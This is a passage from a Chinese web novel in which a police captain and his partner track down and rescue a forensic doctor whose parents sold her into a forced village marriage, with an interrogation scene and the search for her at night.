“是有点急……”温白道:“嫂子,从野老家不远吧,你能不能告诉我你家详细的地址,我跑一趟。听说也就是两个多小时的路程,用不了多久就能到。” 从野妻子有点犹豫:“啊,这……” “我开车去。”温白说:“嫂子要是有什么东西,正好我也能给捎过去。要是明天从野回来,我还可以把他们一路捎回来。” 温白家里,有辆跑生意的二手面包,破是破了点,但这年代有车就挺不容易。是赚了钱的人家了。 从野妻子一听,这不错啊。 这么晚了温白去找他,肯定是大生意。还能给自己捎东西过去,明天又能给她丈夫捎回来,这一来一回,省了他们家多少事情啊。 她稍微一想,立刻就答应了。 “好,我给你说一下,其实他们那边的路很好找的。” 从野妻子立刻说了一个地址,很详细的地址,甚至还画了个简易地图。进了村子怎么走,再稍微问一下路就行。 离开从野家,楚隽立刻道:“不能耽搁了,我们要立刻赶过去。董法医现在可能很危险。” 他说的已经很含蓄了,事实就是,董紫莺现在可能已经遭遇了危险。 现在已经九点半了,他们就算紧赶慢赶,到了地方也要十二点了。 前半夜,无论有什么事情,可能都已经发生了。 安暖快步跟在楚隽身后:“楚队,我们不能就这样去吧,是不是得多带点人?” 这种事情安暖可不是一窍不通的。 上辈子她就经历过,没有亲身经历也看过听过。 有些妇女被拐卖进偏远村子,警察找到线索上门解救。 那可不是一件容易的事情,不是一辆警车到了地方,对方就会把人送出来的。 你跟他们谈犯法不犯法,没有一点意义,在他们看来,我花钱买来的人,就是我的人。不管是谁,也不能抢走。 一个大村子大部分都是一个姓,几百人聚在一起,就敢袭警。 “是,为了安全起见,只有我们几个去是不行的。”楚隽说:“但是也没有那么严重。安多县离京市只有两个半小时的路程,不是天高皇帝远的偏远地方。我这边带几个人,那边我也会提前联系本地派出所,只要董法医在,就一定能把人救出来。” 温白也跟在后面,这会儿心里琢磨出一些什么来。 但是他什么都不敢说,只在心里想着,这事情跟我可没关系。 之前因为打击拐卖团伙的事情,火车站这附近已经重点严打了一波,如今又出了这样的事情,说不定又要来一轮严打,这对他们,可都是很麻烦的事情。 楚隽回了约好见面的地方,江笑愚已经带人回来了。 他们没有发现什么可疑的地方。 楚隽简洁的将刚才的事情说了一遍。 祁雨诗一听,急的要哭了,但是她竟然一句话都没说,只是眼睛红红的抿着唇。 安暖看了她一眼,不错,有进步。 在不能帮忙的时候,千万别添乱。 楚隽处理过不少大案,关键时刻雷厉风行,绝不拖延。 “我现在就带人去安多县。老江,这边交给你,立刻打电话去安多县,让本地民警先过去查看一下。”楚隽说着摸出车钥匙:“老赵,情况紧急,得借你们几个同志。” “没问题。”老赵说:“现在就走,我带几个人跟你去。” 几分钟之内就定下了行动计划。 楚隽让祁雨诗和云松德先回去,看得出来祁雨诗有些不情愿,但是犹豫再三,没有开口。 她现在跟着去确实没有意义,不出意外的话,不是去找人的,而是去抢人的。她完全没有武力值,跟去帮不上忙。 第135章 失踪 “暖暖。”楚隽道:“你也先回去吧,不用担心,如果不出意外,我们当晚就能回来。” 安暖正要应好,想了想:“我跟你们一起去吧,可能不仅仅是武力的问题。” 如果祁雨诗,楚隽是绝对不会同意的。 但安暖开口,楚隽就有些犹豫了。 安暖不是个不分轻重的人,她要跟去,不会是为了凑热闹,一定是觉得自己有用。 楚隽略一沉吟:“好,你跟着一起去。” 如果董紫莺真的在现场,如果出了什么事,最好是有一个女同志在场。虽然董紫莺和安暖的关系没那么好,但是相比祁雨诗,楚隽总觉得,安暖更合适。 她知道该怎么劝,而祁雨诗关心则乱,过于感性了。万一到时候只知道抱头痛哭,再说上一两句不合时宜的话,反倒是更麻烦。 当下,楚隽开车带了安暖,老赵带着几个民警开了另一辆车,风风火火地往安多县去。 车上,安暖看着窗外沉沉夜色。 “哎。”安暖叹了口气:“希望董紫莺运气好一点。” 楚隽皱着眉,这个时间了,路上没什么人,车在路上狂飙。老赵车技也很好,一路紧紧地跟着。 安多县这个地方,楚隽之前是去过的,虽然不能具体到下面的某一个村子,但进县城的路不会错。到了县城,找上县城派出所的人,再去宗耀庆家的村子。 他们那个村子,就叫宗家村,姓宗的人口占了小半。 楚隽虽然不是单枪匹马,甚至身上有枪,但是在那种地方,准备的更充分一点也是应该的。毕竟他们是警察,不是土匪,面对的是一群村民,就算是有枪也不能随意发挥,这会让他们很被动。 安暖一直都挺理智的,但这句话,十分感性。 有种将一切交给命运的感觉。 楚隽一时不知道怎么回答这句话。 又沉默了一会儿,这才道:“暖暖。” “嗯。” “其实,本来我是想安慰你两句的。” “什么?” 楚隽道:“虽然你和董紫莺的关系不好,但是我知道,你不会因为私人关系影响公事。对救她这件事情,你是尽心尽力的。” “那当然,即便不是董紫莺,是别人,也是一样的。” “我知道。”楚隽道:“这件事情的结果可能不是最坏的结果,但可能会有遗憾。暖暖,做警察,不可避免会比别人接触到更多的阴暗面,本来我害怕你会难过,会接受不了。” 楚隽知道太多这样的案例。 越是善良的,正义的人,越看不得人性黑暗。 即便是素不相识,看着无辜的人受苦,也会叫人很难受。 更别提这次的还是认识的人,如果董紫莺已经被迫和宗耀祖洞房,等他们到了以后,看见的一幕会非常惨烈。他害怕安暖会过不了心里的那个坎。 “本来?”安暖找了一下关键词:“那现在呢?现在不想安慰我了吗?” “也想,可我觉得你比我想象的更冷静,更坚强。” 安暖从窗外收回视线,看向楚隽。 “现在你觉得我冷血?” “怎么会?”楚隽握了握安暖放在一旁的手:“你一点儿都不冷血,你很善良。坚强和善良并不矛盾,相辅相成。我是想说,暖暖,你会成为一个优秀的刑侦人员的,比我可以想到的,还要优秀。” 一个优秀的刑侦人员,不仅仅需要丰富的学识,敏锐的观察力。还需要有一颗强大的心脏。 安暖点了点头。 两个小时后,车开进安多县城。 江笑愚已经和县公安局沟通过了,车在门口停下,楚隽下车去出示了证件,便有人迎了出来。 “楚队你好。”男人伸手和楚隽握了一下:“我是廖霖,安多县公安局刑警队副队长。” “廖队你好。”楚隽说:“长话短说,现在那边情况怎么样了?” 廖霖道:“楚队上车说,我先带你们过去。” “好。”楚隽道:“上我的车。” 安暖立刻从副驾驶下来:“廖队,你坐这儿。” 让廖霖坐在副驾驶的位置上,又好带路,又好和楚隽说话。 安暖钻进后座。 廖霖也不啰嗦,进了副驾驶:“一直往前开,一会儿转弯我提前告诉你。” 一边赶路,一边说事情,两边不耽误。 车开出去,廖霖说:“楚队,两个小时之前,我们接到了江副队的电话,得知了宗家村的情况。江副队说的情况我们很重视,我们刘队长立刻就带人赶了过去。” 安暖的心沉了下来。 有些冷。 他们是马不停蹄的在路上赶了两个小时的路,可是,他们离开的时候,江笑愚就已经打电话过来了,看廖霖的态度,沟通得很顺畅。 这边也明白,救人如救火,是分秒必争的事情。 所以挂了电话之后,刑警队就由队长带队立刻找了过去。 有详细到村的地址,有准确的人名,本地人想要找到宗耀庆家,那是再简单不过的事情。 从县城到宗家村就没有多远了,开车也就是半个小时,如果上门找人这个环节顺利的话,现在人应该已经带回来了。 可显然没有。 这是出事了。 果然,廖霖说:“半个小时前,我们队长用村里的电话打了电话过来,说,你们要找的受害者,叫董紫莺的女同志,确实是在宗耀庆家,但是,她失踪了。” “失踪了?” 安暖忍不住往前探了探身子。 “怎么失踪了?” “具体情况我现在也不确定,因为知道你们要过来,我留在局里等你们,负责带你们过去。”廖霖说:“不过你放心,刘队已经带人在周边找人了,既然人在这里,就一定能找到。” 楚隽沉声道:“麻烦你们了。” 车很快转上了乡间小路,路很难开,磕磕碰碰的。 廖霖听着那声音就觉得心疼。 “乡里的路不好走,楚队,你这车回去怕是要修了。” 廖霖其实想说的是,早知道就开他们队里的车了,那车便宜,能扛。楚隽这车,不是自己的也颠簸的心疼。 第136章 是福是祸 现在已经快十二点了,村里虽然通了电,但忙碌了一天早就已经睡了,一片黑暗。 村里也没有路灯什么的,幸亏有个本地的廖霖,要不然的话,就算知道某个村某一户,这也不好找。稍微一个路口转弯错过了,就走偏十万八千里。 终于到了从家村的范围。 到了这里,明显不一样了。 有灯光。 有声音。 闹哄哄的。 廖霖没有瞎说,已经有人带队在这里找人了。 但是车已经开不进去了。 前面的是一条土路,又泥泞又窄,两边都是真灌木杂草。 一旁的空地上,还停了辆车。 廖霖说:“这是咱们局里的车,这只能开到这里,楚队,咱们下车吧。剩下的路要走过去了。” 众人下了车。 走过安暖身边的时候,楚隽低声说:“跟紧我。” “好。” 她看见楚隽条件反射地摸了下后腰,那是枪套的地方。 虽然不至于,但楚隽还是谨慎的。 一行人跟着廖霖往前走,很快,看见了闹哄哄的现场。 廖霖快走两步,道:“楚队,这就是我们队长刘继。” 刘继正站在一户人家门口,和一旁的人说着什么,听见声音抬头。 楚隽带着几个民警,匆快步走过去。 两下见面,简单地寒暄几句。 楚隽道:“刘队长,现在情况怎么样?有什么新的进展?” 刘继脸上闪过一丝尴尬。 他知道受害者董紫莺是京市市局的法医,在自己的地盘出了事。虽然跟自己没有什么关系,但总归多少是有关系的,现在京市市局的刑警队长来了,就在自己的地盘,要是找不到人,可就丢脸了。 这证明自己地盘治安不好,那么大个人就这么失踪了,活不见人死不见尸,这事情会沦为一件笑谈。 刘继说:“是这样的。我们接到江副队的电话之后,我就带人来了从家村,找到了从耀宗他们家。他们家,正在办喜事……” 喜事两个字说出来,一点儿喜庆的意思都没有。 虽然从耀宗家里贴着喜字挂着红灯笼,从耀宗的家人穿着新衣服,确实是办喜事,桌上还放着喜糖喜烟,大家也都笑喜气洋洋,但两句话一问,刘继就知道情况不对。 刘继说:“我问了一下,结婚的两个人,是从家的二儿子从耀庆和一个外地姑娘,说是叫王晓梅。从耀宗他们一家早就搬到了京市,这些年也只是祭祖拜年之类的日子才会回来,这次回来就是给从耀宗结婚的,他这个儿子有些问题,只有七八岁的智力。” “王晓梅?”楚隽皱眉道:“刘队,你也没见着人吧?” “没有。”刘继说:“我听江副队说,你们要找的人叫董紫莺,不叫王晓梅。但是我想着,这不是一个称呼的问题,必须要见一见才行。我要求见一见新娘子,但是对方多番阻拦。后来被逼问不过,这才说出实话,他们说,新娘子跑了。” 安暖在一边听着,也不知道是应该担心,还是应该庆幸。 董紫莺跑了,去了哪里? 是被谁抓住了,还是藏在了哪里? 刘继道:“因为没有看见人,名字又不同,从家一口咬定,这个叫王晓梅的姑娘,是别人介绍的,外地人,并不是从京市来的,更不存在拐卖的情况。我们现在虽然在找,但是目前也没有什么证据。” 楚隽想了想:“现在宗耀宗在什么地方,我想见见他。” “都在屋子里呢。”刘继一指身后:“我已经命人在周边找人了,但目前还没有消息。” 刘继虽然不至于带着大部队,但是也从刑警队带了五六个人。五六个人,加上村里的干部一起,这动静也挺大。如果这个被抓来的新娘子,不管是王晓梅也好,还是董紫莺也好,是要她是被迫的,现在在逃跑中,那她就应该抓住这个机会。 楚隽是穿着便装的,但是从车站派出所借的人都是穿着警服的。 刘继和他带的人也都穿着警服。 逃跑的新娘子若是看见了警察,立刻就可以出来求救,她就得救了。 可到现在,人还没有出现。 安暖跟在楚隽身后进了从家的门,她觉得有点不对劲。 从家现在一片狼藉。 刘继虽然说得云淡风轻,但是进来找人的时候,可能是费了些事情的。 这种一个村子都沾亲带故的地方,人很容易膨胀。从父从母今天给残疾的二儿子办婚事,这属于想了大半辈子,好容易才达成的心愿,自然不愿意让人破坏了。 他们想的就是这么简单。 只要生米煮成熟饭了,就没有人能破坏这段关系了。 想着这也不是杀人挨枪子儿的案子,没多大事儿,所以敢和警察抗衡,一家子,外带着七大姑八大姨的亲戚,一哭二闹三上吊起来,想必也让刘继头疼了一会儿。 进了房间,屋子里有几个人。 安暖看了一下。 人不多,和此事关系不大的闲杂等人应该都被哄走了,只剩下关键的几个人。 刘继介绍道:“这是从辉。” 从辉,是从耀庆的父亲。 从辉身边的中年人,就是从耀宗。 不远的地方,还有一个男人,穿着一身看着挺新的衣服。 他和别人不一样,在这种严肃又诡异的环境里,他正在用一根小棍子戳着地上的泥巴玩儿。 看样子,这就是从家的二儿子从耀庆了。虽然三十五岁了,但只有七八岁的智商,到现在为止,他可能根本不知道发生了什么事情。 今天的洞房花烛夜,从耀庆也未必知道自己要干什么,也许他根本不用做什么。不是还有个正常的哥哥吗?所有事情,哥哥都可以代劳。 稍微远一点的地方,还有另外两个老夫妻。 安暖看了他们一眼,立刻道:“楚队,楚队。” 楚隽看了跟着看了过去。 安暖拿出照片:“就是他们,董紫莺的父母。” 虽然是很多年前的老照片了,拿给普通人辨认可能辨认不出来,但是安暖能认出来。她认人,看的不是单纯的长相,而是特征。 第137章 简单粗暴好用 楚隽看了一眼照片,拿着照片走了过去。 没错,这两个人就是照片上的人,董紫莺的父母。 楚隽开门见山:“你们是董紫莺的父母?” 看见董紫莺的父母,那也就可以确定,从耀宗从京市带走的所谓弟弟的新娘,他们说叫做王晓梅的,就是董紫莺。 董紫莺父母愣了一下:“你,你说什么?” “董紫莺呢?”楚隽说:“我是京市刑警队的,有人报警,董紫莺被人绑架强行带走,我们是来抓人的。” 董紫莺的父母愣了更长一点时间,董父突然跳了起来:“胡说八道!董紫莺是我们的女儿,这婚事是我们同意的,什么绑架,没有的事情。我带走我女儿,这是天经地义的事情,这也能叫绑架吗?” 楚隽还没开始说话,安暖突然走了过去。 她抬手拿起一旁桌上的一只青花大碗,抬手就在桌子上敲碎了,一把拽开楚隽,走到了董母身边。 半边碎瓷片,就这么架在了董母的脖子上。 董母惊呆了,屋子里所有的人都惊呆了。 楚隽也惊呆了。 谁能想到呢,安暖会突然爆发。如果爆发的是祁雨诗,那还合情合理一点。 “你,你是什么人?”董母颤颤巍巍的喊:“你是警察,打人了!打人了!” “我不是警察,我是董紫莺的好朋友,好的跟一个人似的。”安暖恶狠狠道:“紫莺上辈子是造了什么孽,才会遇到你们这样的父母?她半辈子都在挣扎,才离开你们,现在你们又想把她拖回去,想也别想。给我老实说,你们把紫莺抓来,发生了什么事情,有一句假话,我就要你的命!” 刘继用惊恐的眼神看向楚隽。 楚队,这个女同事是你带来的人,你看看现在这个情况,咱们是装作看不见,还是上去阻止一下。 楚隽的眼神同样惊恐。 但她还是飞快地下了决定,给了刘继一个稍安勿躁的回应。 他相信安暖不是冲动的人,她做的事情一定有原因。 再等一等,安暖也不至于真的会杀人。 “你你你,你还敢杀人吗?杀人是要偿命的。”董母也没那么好糊弄:“我是她妈,我想把她嫁给谁,就把她嫁给谁。一个女娃,读那么多书有什么用,跑那么远跟死了一样,还不如嫁给傻子,换几个彩礼钱。” 一旁的从父连忙点头。 “警察同志,我们是正规取媳妇儿,给了她爸妈两千块钱彩礼钱呢。你们是不是有什么误会?” 不等从父说完,安暖一把揪起董母的领子。 “赶紧说,别废话。”安暖说:“我跟你说,我父母双亡,刚刚失恋,只要董紫莺是我的亲人,她要是死了,我也不想活了,就跟你们一起陪葬。你们这种白眼狼爹妈,活着也是浪费粮食,咱们一起死,一起去找她。” 安暖这一下演技爆发的有点厉害,幸亏是演独角戏,不然的话,别人可能也接不住。 董母感觉到了杀气。 看见了安暖手里的瓷片往自己的眼睛上伸了过来。 更可怕的是,这屋子里一屋子的警察,没人管。 他们想的更多,这说明什么,说明这个女人是有背景的。 在一群警察面前为所欲为,这背景可不得了,说不定真的把他们杀了,都没人敢管。 董紫莺的父母一辈子生活的地方就在那么小小一个山村,见过最大的官,就是村长。 只是村长,但是在村子里就已经有许多许多特权。在外面呢,外面的世界,肯定有很多大官,什么事情都能做的那种。 眼见着瓷片已经到了眼前,董母恐惧的闭上眼睛,终于喊了出来。 “我说,我都说。” “说。” 安暖一手按着董母的肩膀,一手捏着瓷片。 这会儿没时间慢慢问,越简单粗暴越好,而有些事情,楚隽和刘继都不能做,只有她可以。 在董母崩溃的声音中,大家陆续知道了这一天发生的事情。 开始的事情就和他们推测的差不多。 前阵子,董紫莺父母在老家跟人聊天的时候,又说起了自己这个白养了的女儿。 一边骂,一边咬牙切齿。 这时候,家里就有人给他们出了个主意。 女人养那么大,不能白养啊,一定要换点钱才行。何况你女儿现在有文化啊,肯定能换大钱,可多有钱暴发户,就想找个有钱的媳妇儿装门面。 巧了,他们村的媒婆就知道有这么一个。 当下董紫莺父母就动了心思。 一联系,还真联系上了。 董紫莺父母就在媒婆的牵线搭桥下,联系了一个有钱人家的傻儿子。 不是特别傻,但是也好不到哪里去,说好了给一千块钱的彩礼,将人嫁给他。 董父本来打算发个电报把人骗回去的,但是不好弄,想来想去,决定亲自跑一趟。 他们花了一点心思,废了一点儿力气弄到了董紫莺的地址,就过来了。 在火车站,认识了从耀宗。 于是就有了后面的一幕。 从耀宗三寸不烂之舌,很快就套出了董父董母的身份,来历,知道了他们有一个要嫁人换彩礼的女儿。这女儿还是个高才生,在京市上班,工作还很不错。 董父董母说的天花乱坠,表示只要给钱,女儿嫁给谁都行,价高者得。 从耀宗一听,就动了心。 于是就有了上午那一幕。 父母带走女儿,不算犯法。 他们到了董紫莺的住宅,敲开门,把人带走了。 董母本着不要浪费的心情,带走了董紫莺厨房里没来得及烧的菜,但是没有搜房间,他们觉得,那都是囊中之物,不着急,等把董紫莺嫁人了再来拿也来得及。 从家还有点心眼,知道这事情不光彩,干脆雇了辆车,一车将人拉回了老家。 打算等婚结了,洞房过了再回去。 到了从家村之后,外面要筹备,暂时便将董紫莺绑着手脚,关在新房里。 可是没想到一晚上乱哄哄的,不知怎么的,等他们打算抓人出来拜堂的时候,人不见了。 大家都惊呆了,两千块钱啊。 他们立刻派人去村口的路上守着,然后开始找人,料想董紫莺人生地不熟,也跑不远。 没想到人还没找到,刘继就上门了。 听董母飞快说完,安暖收了手。 刘继很是佩服,虽然他也问了,但是问得真没这个全。对方含含糊糊的,很多事情说的似是而非。 安暖丢了瓷片,对楚隽低声说:“查一下今晚来的客人。” 第138章 淋雨的人,在为你撑伞 结婚这么大的事情,总是要请客的。 安暖他们到的时候,屋子里虽然已经没有外人,但放着两张八仙桌,十几把椅子,桌上几个盘子里放着瓜子花生红鸡蛋什么的。 从家确实在办喜事,请了亲戚邻居。 当董紫莺被关在房间里的时候,这些人肯定是在的。 安暖道:“楚队,我想进房间看一下。” “好。”楚隽叫过一个从京市跟来的民警:“小梁,麻烦你陪着一起。” 虽然局势尽在掌握,但还是小心一些。安暖没有枪不能打,最好不要单独一个人独处。 小梁陪着安暖进了屋,楚隽让刘继安排,将今天所有来参加从耀宗婚礼的人都叫来,一个一个问。 从家老宅的房子因为很久没人住,只是偶尔回来打扫,已经有些破败了。 外面一个堂屋,里面一个卧房。 卧房里也很简陋,就是自家盖的土房子,地面就是泥土地,一张床,上面放着红色的铺盖。一张桌子,上面有两根红蜡烛。 蜡烛已经熄灭了,房间里拖住根电线,挂着个白炽灯泡。 但度数不高,房间里还是显得昏暗,看不清楚。 安暖从包里摸出个手电筒来打开。 这就很专业了。 被一起拽进来的,还有当时发现董紫莺不见的人,董紫莺的母亲。 董紫莺的母亲对安暖从心里有点害怕,她搞不清楚安暖到底是什么人,但是清楚的感觉到,现在不是自己的主场,要是不听话,可能要倒霉。 “当时……紫莺就坐在这里。”董母指了指床边:“男人都在外面,我在里面陪着紫莺,她新婚有点害怕,我就劝劝她,和她说说话。” 安暖冷笑了一声。 董母说的还挺含蓄的呢,劝劝她,说说话。 只怕虽然是劝劝她,但不是说说话吧。 安暖看着角落里的散落的绳子,心知肚明。 “说重点,简单点,别废话。” 也不知道为什么,安暖身上有杀气,董母缩了缩:“然后外面来客人了,我就出去了。房间里有两个隔壁的嫂子陪着。后来,婶子也出去了,等再进来的时候,人就不见了。谁都不知道她是怎么跑的。” 还能有密室逃脱戏码? 安暖四下一看,房间里有一扇门,一扇窗。 门外就是堂屋,这是绝对跑不出去的,当时所有的人都在外面。 剩下只有一扇窗子。 安暖走到窗边。 窗子就是最普通的木框的窗子,上面镶嵌着四块玻璃,有一块还破了。 但是玻璃破损的地方只是一个不规则的洞,连一只手都伸不出去,更别说是一个人钻出去了。 安暖用手电筒照着,仔细的看了看。锋利的玻璃破洞边缘没有血迹,没有挂在上面的衣服纤维,董紫莺没有强行将手伸出去。 这种窗户就是最简易的插销,很轻易就能拽开,但插销里外各有一个,里面的插销是开着的,外面的插销落下了。 安暖试了一下,从这个破洞的角度,除非将胳膊划的鲜血淋漓,不然的话,伸不出去。 董紫莺的胳膊不会比自己细那么多。 安暖又照了照:“小梁,咱们去外面看看。” “好的。” 小梁也不知道安暖到底是什么人,好像不是警察,但跟在刑警队长身边,检查现场如此娴熟,应该也是局里的刑侦人员吧。 小梁陪着安暖转到了屋子外面,从外面看窗户的插销。 安暖戴上手套,拨弄了一下插销。 又将窗子拽开,仔细的看了看。 “这窗子刚刚被打开过。”安暖道:“董紫莺很可能是从这里逃走的。” “可这插销只有在外面才能打开。”小梁疑惑道:“所以……有人放走了她?” “对,有人帮了她。” 不知道是谁,但董紫莺一个外地人,一个柔弱的姑娘,被绑在房间里,想要靠自己的力量逃跑,这是很困难的。 从家请了一些亲戚朋友来参加婚礼,董紫莺是个什么状况,谁也不瞎,一眼就能看出来。 就算爸妈在,董紫莺也还是被绑来的,是不情不愿的。谁能愿意嫁给从耀庆一个傻子? 当然大部分人是不会管闲事的,就算知道这是不好的,也会当做不知道,甚至会助纣为虐。因为这是大环境默认的事情,出头管这个闲事,可能要付出很大的代价。 安暖快步回了房间。 楚隽正在本地刑警和村干部的协助下问话,但是进展很缓慢。 从家今晚来的人不少,很多人来来走走的,过来吃个糖,喝杯酒什么的。然后进去看一看新娘子。 这种人来来去去的不少,而且一来就是一大家子,比较麻烦。 安暖进了房间,扯了扯楚隽的袖子。 “楚队,借一步说话。” 楚隽立刻跟着安暖出了门。 “有什么发现?” 安暖道:“我检查了房间,房间只有门和床。董紫莺绝对不可能从门离开,只能从窗子。窗子里面的插销是开着的,外面的插销关着,有人从外面打开了窗户的插销,帮助董紫莺逃跑,然后又在外面把插销给关上了,所以从家的人到现在也没搞清楚,到底董紫莺是怎么跑的。” “嗯。”楚隽道:“如果是有人帮忙,这个人……” 楚隽说了一半,看向安暖:“你觉得会是什么人?” 安暖想了想:“第一种,在外地受过教育,有比较高的道德素养,看不惯愚昧落后的风俗的年轻人。这种人敢于和陋习对抗,会一时热血上涌,做出见义勇为的事情。” “第二种,感同身受的人。在从家村里,一定还有其他和董紫莺类似经历的人,这种人虽然自己苦苦在泥沼中挣扎,却不忍心看着别人受同样的苦。” 她们淋着雨,却想为别人撑一把伞。 楚隽点了点头:“和我想的差不多,但如今警察已经介入了,而且阵仗很大。如果这个人帮助董紫莺逃跑,是个好人,她应该让董紫莺出来才对。可董紫莺还躲着在,只有一种可能,她有顾虑,或者说,她在害怕。” 第139章 简单粗暴的办法 楚隽有什么不知道的呢? 上上下下的人情往来,见得光和见不得光的各种内幕,心里都清楚着呢。要不然的话,要不会从京市带人过来。 现在在查案的这一群人,除了他从京市带来的这一拨是肯定没有问题的,其他人都不好说,包括村干部。 这个救人的人一定是本地人,能在这种情况下救人,是要鼓起非常大的勇气的。 当她感觉不到绝对的安全和可以信任,是不会站出来的。 董紫莺现在可能藏在一个非常隐蔽的地方,也未必敢出来。 她现在可没有什么试错的成本,一旦这一次再被抓回去,那就绝对逃不了了。 楚隽沉下脸来:“想找到这个帮忙的人不容易,现在更简单的,是找到一个办法,让董紫莺知道我们来了。” 本村人对他们不知根知底,不会轻易信任他们。 可是董紫莺会信任他们。 只要董紫莺知道是他们来了,就一定会站出来。 “楚队。”安暖犹豫了一下,缓缓道:“你有没有考虑过,会有人从中截胡?” “你是说,有人有着和从家同样的心思,把董紫莺带走了?” “有这个可能吗?” “可能不大。”楚隽道:“都是一个村子的,一般不会这么干,不然被发现了,日后要如何在的村子里立足。而且一个大活人呢,一时偷走抢走都容易,后面怎么办?从家村里都是沾亲带故的,互相帮忙瞒着见不得人的事情就罢了,不至于这么明目张胆地挖墙脚。” 安暖想了想,说得也不无道理。 兔子还不吃窝边草呢,把董紫莺抢走,后续会非常麻烦。 董紫莺又不是个摆件,可以放进箱子里藏着。她是个大活人,就算一只关在房间里,也会被村里人发现的。 “如果是这样,我有个简单粗暴的办法。”安暖道:“可以让董紫莺用最快的速度知道,你来了。” “什么办法。” “找个大喇叭,喊。”安暖道:“董紫莺肯定能听出你的声音,只要她听见你的声音,知道你来了,自然就知道自己安全了。” 楚隽第一反应是太扯了,第二的反应是,是个好办法。 安暖的办法果然简单粗暴。 只要让董紫莺知道他们来救她了,她就会解除一切顾虑。 安暖道:“也不必担心会连累帮助她的人,这个人一定不会把董紫莺藏在家里,她不可能信任家里人。董紫莺现在一定藏在村子里的某个地方,村子里外出的路都封了,又是晚上,她对这里又不熟悉,想要一个人跑,也不容易。” 等天亮了,村里人来人往了,再想办法。 楚隽雷厉风行,说干就干。 他觉得安暖的办法虽然他从未想过,但是个好办法,立刻就叫村干部去找个大喇叭来。 试了一下,声音很大。 这就行了。 于是这半夜,从家村出现了一个很诡异的现象。 楚隽举着一个大喇叭,打着手电筒,带着一群人,浩浩荡荡的,顺着村子里的路,开始喊。 另外的几条路,从京市跟来人分成两组,再带上几个县城的人,一人一个大喇叭。 楚隽喊:“董紫莺,我是楚隽,我来找你了,你放心出来把,没有危险了。” 另外两组喊的差不多。 “董法医,我们是京市车站北派出所的,我们是跟着楚队长来的找你的,你快出来吧。我们已经控制住从耀宗一家了。” 喇叭的声音调到最大,在安静的夜晚,特别嘹亮。 安暖的意思,如果喇叭喊不出人,就去村委会,用更大的喇叭喊。 并且可以直接给村干部施压,当地的事情,没有人比他们更心里清楚了。 那么大一个大活人呢,警局的法医,在失踪当天就开始找,这要是找不到,那真是太憋屈了。 安暖就这么跟在楚隽后面,四下看着。 路过一处灌木丛的时候,里面好像有人影晃动。 楚隽立刻就停了下来。 “董法医,是你吗?”楚隽说:“你放心出来,我带人来救你了。” 众人屏息静气地看着,楚隽也不敢往前去,这个时候董紫莺是非常脆弱的,像是惊弓之鸟,稍微有一点风吹草动,可能就会躲得更远。 “董法医。”安暖喊道:“我是安暖,我是来找你的。没事儿了,你出来吧,出来我们带你回去。” 树荫又晃了晃,一个人缓缓地走了出来。 不用走到面前,只要看见身影,安暖就知道,这就是董紫莺。 “董紫莺!”安暖激动道:“终于找到你了。” 董紫莺慢慢地走了过来。 安暖走了过去,能看清楚的时候,这才看见董紫莺有多狼狈。 她本来是一头乌黑顺滑的长发,这会儿像是被狗啃一样,被剪得乱七八糟。脸上有伤,青一块紫一块的,还有破了流血的地方。 身上的衣服也换成了一件灰扑扑的的确良短袖,被灌木丛扯出了几个洞。 她走路的姿势一瘸一拐的,像是受了伤。 安暖立刻迎了过去,反手脱下外套。 她特意带了一件外套,就为了这会儿能用上。 安暖将外套给安暖披上,将她一只手架在自己的肩膀上。 “怎么样,受伤严重吗?”安暖低声道:“除了腿,还有哪里受伤了?” 董紫莺摇了摇头:“没事儿,都是皮外伤,不严重。” “那就好。”安暖松了一口气:“先离开这里再说。” “嗯。” 楚隽看着两人走了过来,立刻转头对一旁的刘继道:“刘队长,既然找到人了,我们就先走了。我要先送人去医院,这边的事情,明天白天再说。” “好。”刘继道:“这边的事情交给我,毕竟是在我的辖区发生的。” 其实这事情就是再追究,也没有多严重。 性质虽然和拐卖没有什么区别,但因为做这事情的人是董紫莺的亲生父母,所以其实没有办法追究。 父母带走女儿,收了彩礼,给他找了对象。 除了在道德上谴责他们,没有别的办法。 楚隽当下就带了人离开,和他一起来的老赵他们也一起离开,他们更不好插手当地的事情。 董紫莺整个人的状态很差,恍恍惚惚地走了一段路,上了楚隽的车。 第140章 半生委屈 来的时候两辆车,走的时候还是两辆车,一前一后,很快就离开了从家村。 安暖陪着董紫莺坐在后座,一手搂着她肩膀,一手握着她的手。 “身体有没有什么不舒服?我给你检查一下。”安暖快速捏过董紫莺的胳膊,腿:“我们现在就去医院,你要是有什么不舒服一定要说,我会一些急救。” 人在大起大落,特别紧张的时候,肾上腺素狂飙,导致血液的内部循环增加,从而为器官提供更多的营养和氧气,敏感性将降低,疼痛会大幅减轻。 这是好事,也是坏事,容易小伤变大伤,轻伤变重伤。 “没事儿……我没有受伤……” 董紫莺虽然这么说,但是并不躲,也不乱动,由着安暖检查。她目光有些呆滞,身体忍不住的微微颤抖。 安暖快速地检查了一遍,确实没有更严重的伤了。 “太好了。”安暖长长出了口气,松软地靠在车后座上。 现在已经是凌晨四点了。 这一天一夜,从中午开始到现在,她也没有歇一会儿。身体的疲惫和心理的紧张,一旦松懈下来,疲惫会加倍袭来。 “没事儿就好。”安暖说:“董法医,昨天发生了很多事情,但不管怎么样,都已经过去了。先好好休息,检查身体,后面有什么麻烦,我们都会帮你的。” 根据目前对从耀宗和董紫莺父母的询问,董紫莺被绑在从家之后,还没来得及洞房就被人救走了。她现在应该只是一些皮外伤,其他的伤害还没来得及发生。 但也不好仔细地问。 安暖跟她没有那么熟,而且还有楚隽一个男人在,有些事情也不好说。 不管董紫莺现在还喜欢不喜欢楚隽,只会不喜欢也尴尬,喜欢更尴尬。 董紫莺缓缓点了点头。 “你们……怎么找过来了?我还以为……” 董紫莺一个法医,又是一个人漂泊在他乡的女孩子,性格是非常坚强的。但今天的事情,确实超出预料之外了。 她知道父母不爱她,也知道父母只喜欢弟弟,一心一意地想要她帮衬弟弟,从她身上吸足够的血给弟弟。但是怎么都没想到,会这么恶毒。 别说是亲生女儿,就算是一个陌生人,大部分人也不会忍心将一个妙龄女子嫁给一个智力有缺钱的人。 在董紫莺父母心里,只有钱。 这是没有,如果有人愿意拿钱买她的命,相信他们也一定会非常高兴的。 “可多亏了祁雨诗。”安暖说:“你那天没去上班,她就觉得不太对劲,喊着江副队去你家里看了一下。结果发现你不在,也没去常去的地方,厨房里还有菜被拿走没有清理的痕迹,觉得你可能有了危险,于是就开始查了。” 安暖说得很中肯。 这件事情确实是祁雨诗先发现的,祁雨诗也是最关心董紫莺的人,如果不是她的坚持,不可能那么快就开始找人。 董紫莺抹了抹眼睛:“雨诗真好。” “嗯,她很关心我。” 